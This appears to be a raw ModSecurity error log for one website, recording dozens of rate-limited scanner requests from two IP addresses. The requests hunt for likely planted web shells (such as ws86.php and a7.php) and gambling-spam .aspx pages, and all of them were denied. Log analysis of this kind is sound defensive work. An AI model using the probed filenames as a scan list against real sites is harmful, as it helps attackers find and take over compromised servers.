[Sat Apr 04 04:46:22.700648 2026] [:error] [pid 37114:tid 37135] [client 168.63.57.185:47187] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "adAnHs-DnSj3fGMexeJjmgAAARM"]
[Sat Apr 04 04:46:23.237216 2026] [:error] [pid 37114:tid 37119] [client 168.63.57.185:34223] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "adAnH8-DnSj3fGMexeJjnAAAAQM"]
[Sat Apr 04 04:46:23.911091 2026] [:error] [pid 2459:tid 2543] [client 168.63.57.185:14603] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "adAnHwefyCmu4LR_PlpXpwAAAIs"]
[Sat Apr 04 04:46:24.477253 2026] [:error] [pid 2567:tid 2594] [client 168.63.57.185:9070] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "adAnIGJJmfRsTrAKjdQ1GgAAANQ"]
[Sat Apr 04 04:46:24.972863 2026] [:error] [pid 2567:tid 2587] [client 193.70.34.35:59972] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adAnIGJJmfRsTrAKjdQ1HAAAAM0"]
[Sat Apr 04 04:46:25.003660 2026] [:error] [pid 2457:tid 2487] [client 168.63.57.185:19507] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "adAnIUmNHppaMd92ZpdHHgAAAAo"]
[Sat Apr 04 04:46:25.666185 2026] [:error] [pid 2567:tid 2596] [client 168.63.57.185:11779] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "adAnIWJJmfRsTrAKjdQ1HgAAANY"]
[Sat Apr 04 04:46:26.219478 2026] [:error] [pid 2567:tid 2575] [client 168.63.57.185:9032] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "adAnImJJmfRsTrAKjdQ1IwAAAME"]
[Sat Apr 04 04:46:26.749813 2026] [:error] [pid 2567:tid 2579] [client 168.63.57.185:3379] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0yellow.php"] [unique_id "adAnImJJmfRsTrAKjdQ1JAAAAMU"]
[Sat Apr 04 04:46:26.812194 2026] [:error] [pid 2567:tid 2597] [client 193.70.34.35:59016] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adAnImJJmfRsTrAKjdQ1JQAAANc"]
[Sat Apr 04 04:46:27.259041 2026] [:error] [pid 2567:tid 2593] [client 168.63.57.185:19503] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0yellow.php"] [unique_id "adAnI2JJmfRsTrAKjdQ1JwAAANM"]
[Sat Apr 04 04:46:27.907201 2026] [:error] [pid 2457:tid 2481] [client 168.63.57.185:3276] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0yellow.php"] [unique_id "adAnI0mNHppaMd92ZpdHKQAAAAQ"]
[Sat Apr 04 04:46:28.524695 2026] [:error] [pid 37114:tid 37125] [client 168.63.57.185:14649] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0yellow.php"] [unique_id "adAnJM-DnSj3fGMexeJjpAAAAQk"]
[Sat Apr 04 04:46:28.880019 2026] [:error] [pid 37114:tid 37116] [client 193.70.34.35:49934] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "adAnJM-DnSj3fGMexeJjpQAAAQA"]
[Sat Apr 04 04:46:29.219640 2026] [:error] [pid 2458:tid 2505] [client 168.63.57.185:3317] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws86.php"] [unique_id "adAnJSNozic5SuWqclnMNgAAAEE"]
[Sat Apr 04 04:46:29.788146 2026] [:error] [pid 2567:tid 2583] [client 168.63.57.185:51428] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws86.php"] [unique_id "adAnJWJJmfRsTrAKjdQ1LwAAAMk"]
[Sat Apr 04 04:46:30.546285 2026] [:error] [pid 2458:tid 2528] [client 168.63.57.185:3357] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws86.php"] [unique_id "adAnJiNozic5SuWqclnMOwAAAFg"]
[Sat Apr 04 04:46:30.749900 2026] [:error] [pid 2567:tid 2582] [client 193.70.34.35:49950] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "adAnJmJJmfRsTrAKjdQ1NgAAAMg"]
[Sat Apr 04 04:46:31.191040 2026] [:error] [pid 2567:tid 2585] [client 168.63.57.185:19518] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws86.php"] [unique_id "adAnJ2JJmfRsTrAKjdQ1OQAAAMs"]
[Sat Apr 04 04:46:31.800153 2026] [:error] [pid 2567:tid 2574] [client 168.63.57.185:10169] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "adAnJ2JJmfRsTrAKjdQ1PQAAAMA"]
[Sat Apr 04 04:46:32.336918 2026] [:error] [pid 2567:tid 2585] [client 168.63.57.185:37908] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "adAnKGJJmfRsTrAKjdQ1QwAAAMs"]
[Sat Apr 04 04:46:32.765056 2026] [:error] [pid 2567:tid 2574] [client 193.70.34.35:49960] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "adAnKGJJmfRsTrAKjdQ1RwAAAMA"]
[Sat Apr 04 04:46:32.989389 2026] [:error] [pid 2457:tid 2491] [client 168.63.57.185:39248] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "adAnKEmNHppaMd92ZpdHMAAAAA4"]
[Sat Apr 04 04:46:33.746534 2026] [:error] [pid 2457:tid 2495] [client 168.63.57.185:16423] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "adAnKUmNHppaMd92ZpdHMQAAABI"]
[Sat Apr 04 04:46:34.284372 2026] [:error] [pid 2457:tid 2478] [client 168.63.57.185:51402] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adAnKkmNHppaMd92ZpdHMwAAAAE"]
[Sat Apr 04 04:46:34.667094 2026] [:error] [pid 2459:tid 2533] [client 193.70.34.35:49970] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "adAnKgefyCmu4LR_PlpXqgAAAII"]
[Sat Apr 04 04:46:34.843645 2026] [:error] [pid 2457:tid 2487] [client 168.63.57.185:3287] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adAnKkmNHppaMd92ZpdHNAAAAAo"]
[Sat Apr 04 04:46:35.468418 2026] [:error] [pid 37114:tid 37131] [client 168.63.57.185:37943] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adAnK8-DnSj3fGMexeJjqQAAAQ8"]
[Sat Apr 04 04:46:36.049738 2026] [:error] [pid 2459:tid 2556] [client 168.63.57.185:54551] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adAnLAefyCmu4LR_PlpXqwAAAJg"]
[Sat Apr 04 04:46:36.568011 2026] [:error] [pid 37114:tid 37135] [client 168.63.57.185:43924] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adAnLM-DnSj3fGMexeJjrwAAARM"]
[Sat Apr 04 04:46:36.681194 2026] [:error] [pid 2459:tid 2546] [client 193.70.34.35:49976] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "adAnLAefyCmu4LR_PlpXrAAAAI4"]
[Sat Apr 04 04:46:37.296389 2026] [:error] [pid 2459:tid 2531] [client 168.63.57.185:49530] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adAnLQefyCmu4LR_PlpXrgAAAIA"]
[Sat Apr 04 04:46:37.965269 2026] [:error] [pid 2457:tid 2479] [client 168.63.57.185:10138] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adAnLUmNHppaMd92ZpdHPQAAAAI"]
[Sat Apr 04 04:46:38.680226 2026] [:error] [pid 2459:tid 2539] [client 193.70.34.35:41228] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "adAnLgefyCmu4LR_PlpXswAAAIc"]
[Sat Apr 04 04:46:38.851146 2026] [:error] [pid 2567:tid 2581] [client 168.63.57.185:3353] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adAnLmJJmfRsTrAKjdQ1VAAAAMc"]
[Sat Apr 04 04:46:39.409797 2026] [:error] [pid 2567:tid 2582] [client 168.63.57.185:51413] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "adAnL2JJmfRsTrAKjdQ1VgAAAMg"]
[Sat Apr 04 04:46:39.937094 2026] [:error] [pid 2459:tid 2532] [client 168.63.57.185:19511] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "adAnLwefyCmu4LR_PlpXuAAAAIE"]
[Sat Apr 04 04:46:40.492257 2026] [:error] [pid 2567:tid 2574] [client 168.63.57.185:38585] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "adAnMGJJmfRsTrAKjdQ1WgAAAMA"]
[Sat Apr 04 04:46:40.729250 2026] [:error] [pid 2567:tid 2589] [client 193.70.34.35:41232] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "adAnMGJJmfRsTrAKjdQ1XAAAAM8"]
[Sat Apr 04 04:46:41.018890 2026] [:error] [pid 2458:tid 2508] [client 168.63.57.185:39858] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "adAnMSNozic5SuWqclnMRQAAAEQ"]
[Sat Apr 04 04:46:41.600100 2026] [:error] [pid 2567:tid 2588] [client 168.63.57.185:43963] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "adAnMWJJmfRsTrAKjdQ1YwAAAM4"]
[Sat Apr 04 04:46:42.328713 2026] [:error] [pid 2567:tid 2598] [client 168.63.57.185:51430] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "adAnMmJJmfRsTrAKjdQ1ZQAAANg"]
[Sat Apr 04 04:46:42.734095 2026] [:error] [pid 2567:tid 2587] [client 193.70.34.35:41238] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "adAnMmJJmfRsTrAKjdQ1ZwAAAM0"]
[Sat Apr 04 04:46:42.873237 2026] [:error] [pid 2567:tid 2592] [client 168.63.57.185:11778] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "adAnMmJJmfRsTrAKjdQ1aAAAANI"]
[Sat Apr 04 04:46:43.585727 2026] [:error] [pid 2459:tid 2544] [client 168.63.57.185:47211] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "adAnMwefyCmu4LR_PlpXvwAAAIw"]
[Sat Apr 04 04:46:44.137823 2026] [:error] [pid 2567:tid 2589] [client 168.63.57.185:51409] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ta0ol.php"] [unique_id "adAnNGJJmfRsTrAKjdQ1agAAAM8"]
[Sat Apr 04 04:46:44.681636 2026] [:error] [pid 37114:tid 37130] [client 168.63.57.185:39259] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ta0ol.php"] [unique_id "adAnNM-DnSj3fGMexeJjuQAAAQ4"]
[Sat Apr 04 04:46:44.754491 2026] [:error] [pid 37114:tid 37124] [client 193.70.34.35:41250] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "adAnNM-DnSj3fGMexeJjugAAAQg"]
[Sat Apr 04 04:46:45.250664 2026] [:error] [pid 2457:tid 2483] [client 168.63.57.185:54566] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ta0ol.php"] [unique_id "adAnNUmNHppaMd92ZpdHUgAAAAY"]
[Sat Apr 04 04:46:45.839966 2026] [:error] [pid 2459:tid 2535] [client 168.63.57.185:43911] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ta0ol.php"] [unique_id "adAnNQefyCmu4LR_PlpXwgAAAIQ"]
[Sat Apr 04 04:46:46.464549 2026] [:error] [pid 2567:tid 2594] [client 168.63.57.185:16437] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "adAnNmJJmfRsTrAKjdQ1bwAAANQ"]
[Sat Apr 04 04:46:46.749440 2026] [:error] [pid 2567:tid 2576] [client 193.70.34.35:41254] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "adAnNmJJmfRsTrAKjdQ1cgAAAMI"]
[Sat Apr 04 04:46:47.141644 2026] [:error] [pid 2457:tid 2481] [client 168.63.57.185:9048] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "adAnN0mNHppaMd92ZpdHWAAAAAQ"]
[Sat Apr 04 04:46:47.681680 2026] [:error] [pid 2458:tid 2527] [client 168.63.57.185:4261] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "adAnNyNozic5SuWqclnMTgAAAFc"]
[Sat Apr 04 04:46:48.250875 2026] [:error] [pid 2458:tid 2522] [client 168.63.57.185:10143] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "adAnOCNozic5SuWqclnMUAAAAFI"]
